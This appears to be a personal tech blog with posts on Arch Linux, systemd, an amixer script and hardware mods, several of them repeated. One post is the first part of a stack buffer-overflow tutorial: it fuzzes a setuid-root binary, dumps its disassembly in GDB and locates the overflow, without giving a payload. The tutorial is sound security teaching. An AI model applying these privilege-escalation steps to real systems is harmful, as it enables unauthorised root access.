Its been more than 2 years since my last post. Life has been colorful meanwhile, and I plan on making a return. This post is just a heartbeat to let people know that I am still alive.
Monday, March 14, 2016
Tuesday, October 15, 2013
Counterstrike Server lookup in python
Wrote this script in leisure time long time ago to look up counterstrike servers in my college network. Designed for CZERO, modificiation required for version 1.6, enjoy and edit as per need.
Tuesday, April 16, 2013
Travels from the prison of $ to the realm of # [PART 1]
Beginning Notes:
1. A modest amount of core knowledge is assumed.
2. A read of "Smashing The Stack for Fun and Profit" by Aleph One would be recommeded.
3. Point '2' doesn't guarante anything and for further queries refer to point '1' or ask away under comments.
To get the # symbol at a console is a local exploit's dream. But in the current privelaged land of root, it is not uncommon to face challanges. Lets take a simple example: a setuid root binary, data read from a file and echoed onto the stdout. Lets make this a little easier: the binary is not stripped. Lets make this a little more easier: ASLR & Stack Cookies are disabled... for now. At the same time, it's a 64 bit system, NX is enabled [Hardware Enforced] & we don't have the code.
Enough talking, lets get our hands dirty...
A sample run:
$> ./test
usage: ./test file_name
$> echo "hello" > foo
$> ./test foo
Data Read: hello
looks good, the program takes a filename as input, reads the file and echos the file contents on stdout.
lets try to spice it up a bit, run the program with input incremented by 100 characters each time:
for the character stream generation, we shall use good ol' python.
$> python -c "print 'A'*100" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [OUTPUT TRUNCATED]
$> python -c "print 'A'*200" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
$> python -c "print 'A'*300" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Seems good till now, maybe the code isn't vulnerable, but that wouldn't be fun would it ;)
lets keep trying...
$> python -c "print 'A'*400" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [OUTPUT TRUNCATED]
$> python -c "print 'A'*500" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [OUTPUT TRUNCATED]
Maybe this is a lost cause, we might as well go and check our email...
"Patience my padawan learner"
$> python -c "print 'A'*600" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Segmentation Fault (core dumped)
bullseye! segfault, the buffer doesn't seem to be unlimited afterall.
Looking at all the attempts, we can easily say that the buffer lies between 500 to 600 bytes.
Lets fireup GDB for a bit of code and stack analysis.
$> gdb test
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /home/sandman/test...(no debugging symbols found)...done.
(gdb) run foo
Starting program: /home/sandman/test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal SIGSEGV, Segmentation fault.
0x00000000004007af in echo_me ()
Seems like the code segfaults in the function echo_me(), a little bit of disassembly required (thankfully the binary is not stripped)...
(gdb) disas echo_me
Dump of assembler code for function echo_me:
0x00000000004006d4 <+0>: push %rbp
0x00000000004006d5 <+1>: mov %rsp,%rbp
0x00000000004006d8 <+4>: sub $0x240,%rsp
0x00000000004006df <+11>: mov %rdi,-0x238(%rbp)
0x00000000004006e6 <+18>: mov $0x4008ec,%edx
0x00000000004006eb <+23>: mov -0x238(%rbp),%rax
0x00000000004006f2 <+30>: mov %rdx,%rsi
0x00000000004006f5 <+33>: mov %rax,%rdi
0x00000000004006f8 <+36>: callq 0x4005b0
0x00000000004006fd <+41>: mov %rax,0x20053c(%rip) # 0x600c40
0x0000000000400704 <+48>: mov 0x200535(%rip),%rax # 0x600c40
0x000000000040070b <+55>: test %rax,%rax
0x000000000040070e <+58>: jne 0x400724
0x0000000000400710 <+60>: mov $0x4008ee,%edi
0x0000000000400715 <+65>: callq 0x400580
0x000000000040071a <+70>: mov $0xffffffff,%edi
0x000000000040071f <+75>: callq 0x4005a0
0x0000000000400724 <+80>: mov 0x200515(%rip),%rax # 0x600c40
0x000000000040072b <+87>: mov $0x2,%edx
0x0000000000400730 <+92>: mov $0x0,%esi
0x0000000000400735 <+97>: mov %rax,%rdi
0x0000000000400738 <+100>: callq 0x400590
0x000000000040073d <+105>: mov 0x2004fc(%rip),%rax # 0x600c40
0x0000000000400744 <+112>: mov %rax,%rdi
0x0000000000400747 <+115>: callq 0x400570
0x000000000040074c <+120>: mov %eax,-0x4(%rbp)
0x000000000040074f <+123>: mov 0x2004ea(%rip),%rax # 0x600c40
0x0000000000400756 <+130>: mov $0x0,%edx
0x000000000040075b <+135>: mov $0x0,%esi
0x0000000000400760 <+140>: mov %rax,%rdi
0x0000000000400763 <+143>: callq 0x400590
0x0000000000400768 <+148>: mov 0x2004d1(%rip),%rdx # 0x600c40
0x000000000040076f <+155>: mov -0x4(%rbp),%ecx
0x0000000000400772 <+158>: lea -0x230(%rbp),%rax
0x0000000000400779 <+165>: mov %ecx,%esi
0x000000000040077b <+167>: mov %rax,%rdi
0x000000000040077e <+170>: callq 0x4005d0
0x0000000000400783 <+175>: mov 0x2004b6(%rip),%rax # 0x600c40
0x000000000040078a <+182>: mov %rax,%rdi
0x000000000040078d <+185>: callq 0x4005e0
0x0000000000400792 <+190>: mov $0x4008fa,%eax
0x0000000000400797 <+195>: lea -0x230(%rbp),%rdx
0x000000000040079e <+202>: mov %rdx,%rsi
0x00000000004007a1 <+205>: mov %rax,%rdi
0x00000000004007a4 <+208>: mov $0x0,%eax
0x00000000004007a9 <+213>: callq 0x400560
0x00000000004007ae <+218>: leaveq
=> 0x00000000004007af <+219>: retq
End of assembler dump.
(gdb)
looking at the disassembly, its quite easy to get an idea of the code by a simple follow of the important @plt [procedure linkage table] calls...
function echo_me(){
fopen(file) | open the file
fseek(till EOF) --|
ftell(file_des) |--> to calculate the length of the file
fseek(till BOF) --|
fgets(the string from the file) | get the string from the file and store it in the buffer [the vulnerability lies here]
fclose(file) | close the file
printf(the string) | print the string
}
looking at all this it is evident what the programmer has done. A buffer with a static size was defined, the file size was calculated and was read into the buffer. Finally, the buffer is displayed as the output.
1. A modest amount of core knowledge is assumed.
2. A read of "Smashing The Stack for Fun and Profit" by Aleph One would be recommeded.
3. Point '2' doesn't guarante anything and for further queries refer to point '1' or ask away under comments.
To get the # symbol at a console is a local exploit's dream. But in the current privelaged land of root, it is not uncommon to face challanges. Lets take a simple example: a setuid root binary, data read from a file and echoed onto the stdout. Lets make this a little easier: the binary is not stripped. Lets make this a little more easier: ASLR & Stack Cookies are disabled... for now. At the same time, it's a 64 bit system, NX is enabled [Hardware Enforced] & we don't have the code.
Enough talking, lets get our hands dirty...
A sample run:
$> ./test
usage: ./test file_name
$> echo "hello" > foo
$> ./test foo
Data Read: hello
looks good, the program takes a filename as input, reads the file and echos the file contents on stdout.
lets try to spice it up a bit, run the program with input incremented by 100 characters each time:
for the character stream generation, we shall use good ol' python.
$> python -c "print 'A'*100" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [OUTPUT TRUNCATED]
$> python -c "print 'A'*200" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
$> python -c "print 'A'*300" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Seems good till now, maybe the code isn't vulnerable, but that wouldn't be fun would it ;)
lets keep trying...
$> python -c "print 'A'*400" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [OUTPUT TRUNCATED]
$> python -c "print 'A'*500" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [OUTPUT TRUNCATED]
Maybe this is a lost cause, we might as well go and check our email...
"Patience my padawan learner"
$> python -c "print 'A'*600" > foo && ./test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Segmentation Fault (core dumped)
bullseye! segfault, the buffer doesn't seem to be unlimited afterall.
Looking at all the attempts, we can easily say that the buffer lies between 500 to 600 bytes.
Lets fireup GDB for a bit of code and stack analysis.
$> gdb test
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /home/sandman/test...(no debugging symbols found)...done.
(gdb) run foo
Starting program: /home/sandman/test foo
Data Read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal SIGSEGV, Segmentation fault.
0x00000000004007af in echo_me ()
Seems like the code segfaults in the function echo_me(), a little bit of disassembly required (thankfully the binary is not stripped)...
(gdb) disas echo_me
Dump of assembler code for function echo_me:
0x00000000004006d4 <+0>: push %rbp
0x00000000004006d5 <+1>: mov %rsp,%rbp
0x00000000004006d8 <+4>: sub $0x240,%rsp
0x00000000004006df <+11>: mov %rdi,-0x238(%rbp)
0x00000000004006e6 <+18>: mov $0x4008ec,%edx
0x00000000004006eb <+23>: mov -0x238(%rbp),%rax
0x00000000004006f2 <+30>: mov %rdx,%rsi
0x00000000004006f5 <+33>: mov %rax,%rdi
0x00000000004006f8 <+36>: callq 0x4005b0
0x00000000004006fd <+41>: mov %rax,0x20053c(%rip) # 0x600c40
0x0000000000400704 <+48>: mov 0x200535(%rip),%rax # 0x600c40
0x000000000040070b <+55>: test %rax,%rax
0x000000000040070e <+58>: jne 0x400724
0x0000000000400710 <+60>: mov $0x4008ee,%edi
0x0000000000400715 <+65>: callq 0x400580
0x000000000040071a <+70>: mov $0xffffffff,%edi
0x000000000040071f <+75>: callq 0x4005a0
0x0000000000400724 <+80>: mov 0x200515(%rip),%rax # 0x600c40
0x000000000040072b <+87>: mov $0x2,%edx
0x0000000000400730 <+92>: mov $0x0,%esi
0x0000000000400735 <+97>: mov %rax,%rdi
0x0000000000400738 <+100>: callq 0x400590
0x000000000040073d <+105>: mov 0x2004fc(%rip),%rax # 0x600c40
0x0000000000400744 <+112>: mov %rax,%rdi
0x0000000000400747 <+115>: callq 0x400570
0x000000000040074c <+120>: mov %eax,-0x4(%rbp)
0x000000000040074f <+123>: mov 0x2004ea(%rip),%rax # 0x600c40
0x0000000000400756 <+130>: mov $0x0,%edx
0x000000000040075b <+135>: mov $0x0,%esi
0x0000000000400760 <+140>: mov %rax,%rdi
0x0000000000400763 <+143>: callq 0x400590
0x0000000000400768 <+148>: mov 0x2004d1(%rip),%rdx # 0x600c40
0x000000000040076f <+155>: mov -0x4(%rbp),%ecx
0x0000000000400772 <+158>: lea -0x230(%rbp),%rax
0x0000000000400779 <+165>: mov %ecx,%esi
0x000000000040077b <+167>: mov %rax,%rdi
0x000000000040077e <+170>: callq 0x4005d0
0x0000000000400783 <+175>: mov 0x2004b6(%rip),%rax # 0x600c40
0x000000000040078a <+182>: mov %rax,%rdi
0x000000000040078d <+185>: callq 0x4005e0
0x0000000000400792 <+190>: mov $0x4008fa,%eax
0x0000000000400797 <+195>: lea -0x230(%rbp),%rdx
0x000000000040079e <+202>: mov %rdx,%rsi
0x00000000004007a1 <+205>: mov %rax,%rdi
0x00000000004007a4 <+208>: mov $0x0,%eax
0x00000000004007a9 <+213>: callq 0x400560
0x00000000004007ae <+218>: leaveq
=> 0x00000000004007af <+219>: retq
End of assembler dump.
(gdb)
looking at the disassembly, its quite easy to get an idea of the code by a simple follow of the important @plt [procedure linkage table] calls...
function echo_me(){
fopen(file) | open the file
fseek(till EOF) --|
ftell(file_des) |--> to calculate the length of the file
fseek(till BOF) --|
fgets(the string from the file) | get the string from the file and store it in the buffer [the vulnerability lies here]
fclose(file) | close the file
printf(the string) | print the string
}
looking at all this it is evident what the programmer has done. A buffer with a static size was defined, the file size was calculated and was read into the buffer. Finally, the buffer is displayed as the output.
Tuesday, February 12, 2013
amixer vs alsamixer: Master channel
A convenient method to change the Master volume that I use is via a custom KISS bash script that essentially calls amixer. One curious observation I made was that the return value of amixer for the Master channel did not correlate with alsamixer. A small research reveals why:
from the alsa-devel mailing list:
The percentage in amixer has nothing to do with dB level.
It's just the percentage of the raw value range of that mixer
element. Thus showing 89% is correct. It's 10% down from 100%
(1% is because of the resolution of the raw values).
Now, alsamixer shows the percentage in a different way. It's
explained well in the source code (alsamixer/volume_mapping.c), but
not mentioned in the man page, unfortunately.
* The mapping is designed so that the position in the interval is proportional
* to the volume as a human ear would perceive it (i.e., the position is the
* cubic root of the linear sample multiplication factor). For controls with
* a small range (24 dB or less), the mapping is linear in the dB values so
* that each step has the same size visually. Only for controls without dB
* information, a linear mapping of the hardware volume register values is used
* (this is the same algorithm as used in the old alsamixer).
The percentage representation in alsamixer corresponds to this
mapping, thus it's neither dB nor linear percent.
Original discussion is here:
http://mailman.alsa-project.org/pipermail/alsa-devel/2012-March/050146.html
The script itself:
#!/bin/bash
##Amixer Script.
if [ $1 -eq 1 ]
then
amixer set Master 5%+
notify-send "Volume Increase +5%:" "Master Volume Level: $(amixer get Master | grep Mono: | grep [0-9]*% -o)"
fi
if [ $1 -eq 2 ]
then
amixer set Master 5%-
notify-send "Volume Decrease -5%:" "Master Volume Level: $(amixer get Master | grep Mono: | grep [0-9]*% -o)"
fi
#if [ $1 -eq 0 ]
#then
# amixer set Master toggle
# notify-send "Volume Master Toggle:" "Master Volume Level: "
#fi
#EOF
Running with arguments 1,2 or 0 increases, decreases or toggles(Mute) the Master channel respectively. I don't use the toggle segment thus its commented out.
from the alsa-devel mailing list:
The percentage in amixer has nothing to do with dB level.
It's just the percentage of the raw value range of that mixer
element. Thus showing 89% is correct. It's 10% down from 100%
(1% is because of the resolution of the raw values).
Now, alsamixer shows the percentage in a different way. It's
explained well in the source code (alsamixer/volume_mapping.c), but
not mentioned in the man page, unfortunately.
* The mapping is designed so that the position in the interval is proportional
* to the volume as a human ear would perceive it (i.e., the position is the
* cubic root of the linear sample multiplication factor). For controls with
* a small range (24 dB or less), the mapping is linear in the dB values so
* that each step has the same size visually. Only for controls without dB
* information, a linear mapping of the hardware volume register values is used
* (this is the same algorithm as used in the old alsamixer).
The percentage representation in alsamixer corresponds to this
mapping, thus it's neither dB nor linear percent.
Original discussion is here:
http://mailman.alsa-project.org/pipermail/alsa-devel/2012-March/050146.html
The script itself:
#!/bin/bash
##Amixer Script.
if [ $1 -eq 1 ]
then
amixer set Master 5%+
notify-send "Volume Increase +5%:" "Master Volume Level: $(amixer get Master | grep Mono: | grep [0-9]*% -o)"
fi
if [ $1 -eq 2 ]
then
amixer set Master 5%-
notify-send "Volume Decrease -5%:" "Master Volume Level: $(amixer get Master | grep Mono: | grep [0-9]*% -o)"
fi
#if [ $1 -eq 0 ]
#then
# amixer set Master toggle
# notify-send "Volume Master Toggle:" "Master Volume Level: "
#fi
#EOF
Running with arguments 1,2 or 0 increases, decreases or toggles(Mute) the Master channel respectively. I don't use the toggle segment thus its commented out.
Sunday, February 10, 2013
Linux in 2013, systemd, kernel regressions etc etc...
It has been a very busy time for me, exams on one side and setting up Arch all over again on the other. Somehow I got upto 70% of the work done reinstalling, configuring, rewritting and theming but thankfully the worst is out of the way. I know that because before I reinstalled Arch, I assumed a lot of things about the procedure from earlier experience but the reality was close to shocking, see below.
1. Arch installer removed, all steps are to be done by the user.
2. Bye sysvinit! Hello systemd
3. Kernel Power Regressions. !!
4. HDD APM Issue. !!
5. Openbox updated to 3.5
6. Kernel Ver. @ 3.7.6
7. Since I had newer hardware with dual GPUs [Hybrid Graphics/Optimus], I had to rewrite conky and many scripts due to many low level changes.
Now Im not saying that all of this was bad, actually upgrades like systemd were much of a welcome, anyway what follows is a rundown of each and what I did to counter/resolve the issues.
1. Not much of an issue actually, to be honest, I liked the fact that the installer now required the user to customize manually. Helps in the optimization of the system also as a secondary bonus, the packages installed are always the latest since the new installer "pacstrap" downloaded the latest package versions as compared to installing directly from the Live Media.
2. This was a big surprise, whatever I knew about the original rc.conf sysvinit boot system had to be washed and relearnt with systemd in mind. Mind you, systemd is a boon! Bootup times have been slashed due to the efficient parallelization implemented which contrasts from the original init sequential boot proccess. Also systemd allowed for a much neater boot process modification and the entire start|stop sequence is much cleaner. Although it takes a while to get used to but once you do, creating your own service/tmpfiles becomes a breeze. Also syslogd is now replaced with a journel which can be accessed through the systemctl command. Actually all one needs to use is the systemctl command!
3. These "issues" are actually fixed in the 3.8.x RC versions which are yet to be tested and marked stable but we will get there. The issues Im talking about affect the sandybridge (and possibly ivy too!) line of CPUs. CPU frequency scaling gets locked at maximum frequency w/o turbo boost (Thank god!). In my case (2670QM) the scaling clocks reported to be the lowest clock possible: 800 MHz, but a look at the current clocks proved that they were actually stuck at 2.2 GHZ. Also, on the integrated GPU end, RC6 (powersaving) state was not being initialized. What really frustrated me further that temperatures were 10-15 degrees (Celsius) higher than in Windows. This tends to happen randomly per boot and will be fixed once 3.8 is available as stable. Tip: If you cant wait, check the links at the end of the post for RC(Release Candidate) versions of the kernel.
#] cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq
800000
#] cat /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_cur_freq
2201000
4. This was the most annoying/frustrating issue I have ever had. Not because it was difficult to fix but because of the everlasting effect it may have had on my HDD. Before I say more, understand that its not really Linux's fault, read on. Long story short, 2.5" HDDs implement shady power saving mechanisms such as head parking and spinning down the spindle motor during an I/O idle session. Furthermore the smart brass at WDC decided to choose power saving over HDD lifespan. How they achieved this was by implementing something called intellipark, which essentially parks the head whenever it senses that I/O is idling. Sometimes this is done in less than 8 seconds. What this results in is a constant "clicking" sound from the HDD and the slow but eventual degradation in head quality which could lead to HDD failure. If that is not enough, the slowdown of the spindle motor puts pressure on it because to spin up the motor for an I/O active session it requires throwing in more power and not to mention stresses the motor further (Newton's first law!).
12 Power_Cycle_Count 0x0032 100 100 000 Old_age Always - 455
193 Load_Cycle_Count 0x0032 155 155 000 Old_age Always - 136465
Checking SMART data on the HDD showed that the current LOAD_CYCLE_COUNT (Number of parks) had jumped to 136465 in less than a year. To put this in perspective, an average 2.5" HDD has a lifetime of 300000 - 600000 parks. Way to go WDC!
I would also like to add that a similar but slightly less annoying effect was also visible when running Windows 7. Thankfully Linux has a tool [hdparm] which allows modifying many variables on the HDD directly such as the APM(Advanced Power Management) value. My original value was 96, which then I changed to 254 to basically kill all possible forms of APM. Did it work?
Yes! :-)
5. Not new and also not much of an issue, openbox 3.4 config is a drop in replacement for 3.5.
6. Kernel is currently at 3.7.6, nice and fast with major fixes but with the power regressions.
7. As previously mentioned in an older post, this was somewhat of a new laptop, modifying old scripts/configs took some time, had to scale conky config and other scripts to take into i7's quad cores plus inclusion of NVIDIA GPU temperature monitoring thanks to the free nouveau driver which enabled basic power management.
Optimus is still not a fully functional componenet in Linux but thanks to projects such as bumblebee, enabling hybrid graphics support was relatively easy.
So thats pretty much it, Im looking forward to checking out how tools such as Metasploit, Nmap etc have improved.
Any questions/comments... insults??
Ref:
Kernel Power Regressions:
: https://bbs.archlinux.org/viewtopic.php?id=150743 //RC Versions in this thread
: https://wiki.archlinux.org/index.php/Intel_Graphics#Module-based_Powersaving_Options
HDD APM Issue:
: https://bbs.archlinux.org/viewtopic.php?id=39258
: https://wiki.archlinux.org/index.php/Hdparm#Parking_your_hard_drive
: http://en.wikipedia.org/wiki/S.M.A.R.T.#ATA_S.M.A.R.T._attributes
: http://forums.anandtech.com/showthread.php?t=2085685
Systemd:
: https://wiki.archlinux.org/index.php/Systemd
1. Arch installer removed, all steps are to be done by the user.
2. Bye sysvinit! Hello systemd
3. Kernel Power Regressions. !!
4. HDD APM Issue. !!
5. Openbox updated to 3.5
6. Kernel Ver. @ 3.7.6
7. Since I had newer hardware with dual GPUs [Hybrid Graphics/Optimus], I had to rewrite conky and many scripts due to many low level changes.
Now Im not saying that all of this was bad, actually upgrades like systemd were much of a welcome, anyway what follows is a rundown of each and what I did to counter/resolve the issues.
1. Not much of an issue actually, to be honest, I liked the fact that the installer now required the user to customize manually. Helps in the optimization of the system also as a secondary bonus, the packages installed are always the latest since the new installer "pacstrap" downloaded the latest package versions as compared to installing directly from the Live Media.
2. This was a big surprise, whatever I knew about the original rc.conf sysvinit boot system had to be washed and relearnt with systemd in mind. Mind you, systemd is a boon! Bootup times have been slashed due to the efficient parallelization implemented which contrasts from the original init sequential boot proccess. Also systemd allowed for a much neater boot process modification and the entire start|stop sequence is much cleaner. Although it takes a while to get used to but once you do, creating your own service/tmpfiles becomes a breeze. Also syslogd is now replaced with a journel which can be accessed through the systemctl command. Actually all one needs to use is the systemctl command!
3. These "issues" are actually fixed in the 3.8.x RC versions which are yet to be tested and marked stable but we will get there. The issues Im talking about affect the sandybridge (and possibly ivy too!) line of CPUs. CPU frequency scaling gets locked at maximum frequency w/o turbo boost (Thank god!). In my case (2670QM) the scaling clocks reported to be the lowest clock possible: 800 MHz, but a look at the current clocks proved that they were actually stuck at 2.2 GHZ. Also, on the integrated GPU end, RC6 (powersaving) state was not being initialized. What really frustrated me further that temperatures were 10-15 degrees (Celsius) higher than in Windows. This tends to happen randomly per boot and will be fixed once 3.8 is available as stable. Tip: If you cant wait, check the links at the end of the post for RC(Release Candidate) versions of the kernel.
#] cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq
800000
#] cat /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_cur_freq
2201000
4. This was the most annoying/frustrating issue I have ever had. Not because it was difficult to fix but because of the everlasting effect it may have had on my HDD. Before I say more, understand that its not really Linux's fault, read on. Long story short, 2.5" HDDs implement shady power saving mechanisms such as head parking and spinning down the spindle motor during an I/O idle session. Furthermore the smart brass at WDC decided to choose power saving over HDD lifespan. How they achieved this was by implementing something called intellipark, which essentially parks the head whenever it senses that I/O is idling. Sometimes this is done in less than 8 seconds. What this results in is a constant "clicking" sound from the HDD and the slow but eventual degradation in head quality which could lead to HDD failure. If that is not enough, the slowdown of the spindle motor puts pressure on it because to spin up the motor for an I/O active session it requires throwing in more power and not to mention stresses the motor further (Newton's first law!).
12 Power_Cycle_Count 0x0032 100 100 000 Old_age Always - 455
193 Load_Cycle_Count 0x0032 155 155 000 Old_age Always - 136465
Checking SMART data on the HDD showed that the current LOAD_CYCLE_COUNT (Number of parks) had jumped to 136465 in less than a year. To put this in perspective, an average 2.5" HDD has a lifetime of 300000 - 600000 parks. Way to go WDC!
I would also like to add that a similar but slightly less annoying effect was also visible when running Windows 7. Thankfully Linux has a tool [hdparm] which allows modifying many variables on the HDD directly such as the APM(Advanced Power Management) value. My original value was 96, which then I changed to 254 to basically kill all possible forms of APM. Did it work?
Yes! :-)
5. Not new and also not much of an issue, openbox 3.4 config is a drop in replacement for 3.5.
6. Kernel is currently at 3.7.6, nice and fast with major fixes but with the power regressions.
7. As previously mentioned in an older post, this was somewhat of a new laptop, modifying old scripts/configs took some time, had to scale conky config and other scripts to take into i7's quad cores plus inclusion of NVIDIA GPU temperature monitoring thanks to the free nouveau driver which enabled basic power management.
Optimus is still not a fully functional componenet in Linux but thanks to projects such as bumblebee, enabling hybrid graphics support was relatively easy.
So thats pretty much it, Im looking forward to checking out how tools such as Metasploit, Nmap etc have improved.
Any questions/comments... insults??
Ref:
Kernel Power Regressions:
: https://bbs.archlinux.org/viewtopic.php?id=150743 //RC Versions in this thread
: https://wiki.archlinux.org/index.php/Intel_Graphics#Module-based_Powersaving_Options
HDD APM Issue:
: https://bbs.archlinux.org/viewtopic.php?id=39258
: https://wiki.archlinux.org/index.php/Hdparm#Parking_your_hard_drive
: http://en.wikipedia.org/wiki/S.M.A.R.T.#ATA_S.M.A.R.T._attributes
: http://forums.anandtech.com/showthread.php?t=2085685
Systemd:
: https://wiki.archlinux.org/index.php/Systemd
Sunday, February 3, 2013
There and back again....
Went from Fedora > Ubuntu > Fedora > Arch > Fedora > Arch(Incomplete setup) > M$ Bulldows. Been so busy lately that haven't used linux in 6 months! Arch is a pain to setup again (don't get me wrong, its a great distro and my fav.) so I guess I will finally go back to where I came from.... Fedora.
Current release => Fedora 18
Downloading right now!
EDIT: Nope... F18 sucks (Check below)... thankfully i did a little research... I guess the universe wants me to stick to Arch, Its better to set things up the way you like them and not letting some company or a group of people decide.
Src: http://www.dedoimedo.com/computers/fedora-18-kde.html
Src2: http://linux.slashdot.org/story/13/01/23/230255/alan-cox-fedora-18-the-worst-red-hat-distro-switches-to-ubuntu
Current release => Fedora 18
Downloading right now!
EDIT: Nope... F18 sucks (Check below)... thankfully i did a little research... I guess the universe wants me to stick to Arch, Its better to set things up the way you like them and not letting some company or a group of people decide.
Src: http://www.dedoimedo.com/computers/fedora-18-kde.html
Src2: http://linux.slashdot.org/story/13/01/23/230255/alan-cox-fedora-18-the-worst-red-hat-distro-switches-to-ubuntu
Thursday, January 31, 2013
Infra-Webcam Mod Part 1.
Due to a recent break-in near at our apartments, the whole security infrastructure went through an overhaul. Going through all the new features, I came across one that caught my eye, Night-Vision Security Cameras. Upon further investigation, I found these were actually Infrared cameras.
The cameras themselves looked like webcams dotted with red LEDs. Now, I had seen them before but never wondered their purpose or capability. A simple Google search uncovered a ton of info and the part that totally took me by surprise was the fact that these could be engineered at home using simple everyday camera hardware.
Now, I'm not gonna write down a tutorial or go much in depth but will give some insight on how I made mine.
The idea is simple. A normal camera has 3 components, the Lens, The IR filter and the CCD chip. All one has to do is to remove the IR filter and replace it with a "Visible Light filter" (Hint: Kodak).
Anyway, below are a few pics I took while disassembling and modding.
The cameras themselves looked like webcams dotted with red LEDs. Now, I had seen them before but never wondered their purpose or capability. A simple Google search uncovered a ton of info and the part that totally took me by surprise was the fact that these could be engineered at home using simple everyday camera hardware.
Now, I'm not gonna write down a tutorial or go much in depth but will give some insight on how I made mine.
The idea is simple. A normal camera has 3 components, the Lens, The IR filter and the CCD chip. All one has to do is to remove the IR filter and replace it with a "Visible Light filter" (Hint: Kodak).
Anyway, below are a few pics I took while disassembling and modding.
The Camera (Source: Local flea market, Vendor: PC-Touch)
The PCB with the Lens, IR FLTR, CCD.
IR Filter (Note to self: Next time take the picture before breaking the thing :-P)
CCD Chip (Lens, IR FLTR removed)
Camera Lens with the light filter (Exposed camera film[Even Gradient])
Reassembled Module
Results in the next post.
Update[1/2/2013]: Damn! the drivers are 32 bit. Lets see if Linux does the job.
Wednesday, January 30, 2013
WOL PACKET RECIEVED!
Ok i know i keep disappearing... but im back.... had some tasks to complete ;- )
Wednesday, July 11, 2012
Old Cell Phones == treasure;
I guess many people don't realize before dumping their old phones that they are also throwing away a treasure trove of micro hardware that can be extracted and used in multiple DIY projects. I don't blame them as most people don't even know how does the vibration in their phones work.
So recently while going through some old 2006< cellphones, I decided to salvage such components. I recovered some really neat gems:
So recently while going through some old 2006< cellphones, I decided to salvage such components. I recovered some really neat gems:
- Micromotors [Both types: External and Sealed]
- Mics
- Speakers
- 2MP camera modules
- LCDs [Color 64K & 256K 160ppi & B/W 100ppi]
- Micro DC-in female jacks
Saturday, July 7, 2012
EXT4 filesystems on M$ Windows
A real pain that I had to go through was the inablility to preoperly read EXT4 filesystems on Windows. My old solution was a standalone app called Ext2Read but it was slow and a very dirty solution [files had to be copied onto a NTFS filesystem first].
What I desired was a more simpler approach and along came Ext2Fsd. This application allows the EXT4 partition to be mounted and read like a native NTFS. One caveat is that the 'extent' support is still pending so the interaction is limited to read-only which I don't mind since my need in Windows is to only listen to music which lies on the big and chunky EXT4 side.
What I desired was a more simpler approach and along came Ext2Fsd. This application allows the EXT4 partition to be mounted and read like a native NTFS. One caveat is that the 'extent' support is still pending so the interaction is limited to read-only which I don't mind since my need in Windows is to only listen to music which lies on the big and chunky EXT4 side.
DIY cooling solution...
I recently bought a new notebook [my old machine was... well old... needed a well deserved retirement. Goodbye ProcyonMk2 you ol' girl! :-P], about 2 months ago. ASUS K53 series, specs are:
ProcyonMk3:
15.6 inch screen @ 1366x768 WLED screen
Intel 2670QM CPU [4 Core + HT = 8 Threads]
NVIDIA GT 540M GPU [2GB DDR3 VRAM] [Optimus Solution]
ASint 8GB DDR3 RAM
WDC 5400RPM 750GB HDD
USB2.0 x 2, USB3.0 x 1
Atheros b/g/n Wifi, Realtek Audio, BT3, Altec-Lansing Speakers, 6 Cell Battery.
Basically a pretty powerful system. I wouldn't attach an ULTRA tag [my way of rating notebooks: low, midrange, high, ultra] to it but would consider it to be a HIGH end machine [a first for me since i am used to owning low to mid-range systems]...
Anyway, considering a heatwave thats been plaguing the area where I live, a decent cooling solution had to be designed as my old cooling pad was busted with 2 of its fans burnt out.
So basically I had this old but totally unused 12 volt .3 amps [3.6 watts] DC chassis fan lying around which I had extracted from my desktop since the mobo didn't have a chassis fan socket. Using an old router adapter rated at 12volts .7 amps DC [No.1 rule in Electrical Engg: Voltage should be the same, Current should be equal or more], laptop packaging and some nice nifty tools, made my own DIY cooling pad.
It turned out pretty good considering its simplicity.
Pics attached [I'm too lazy to take detailed photos, if you don't understand the design, then leave a comment and I could help you out]:
ProcyonMk3:
15.6 inch screen @ 1366x768 WLED screen
Intel 2670QM CPU [4 Core + HT = 8 Threads]
NVIDIA GT 540M GPU [2GB DDR3 VRAM] [Optimus Solution]
ASint 8GB DDR3 RAM
WDC 5400RPM 750GB HDD
USB2.0 x 2, USB3.0 x 1
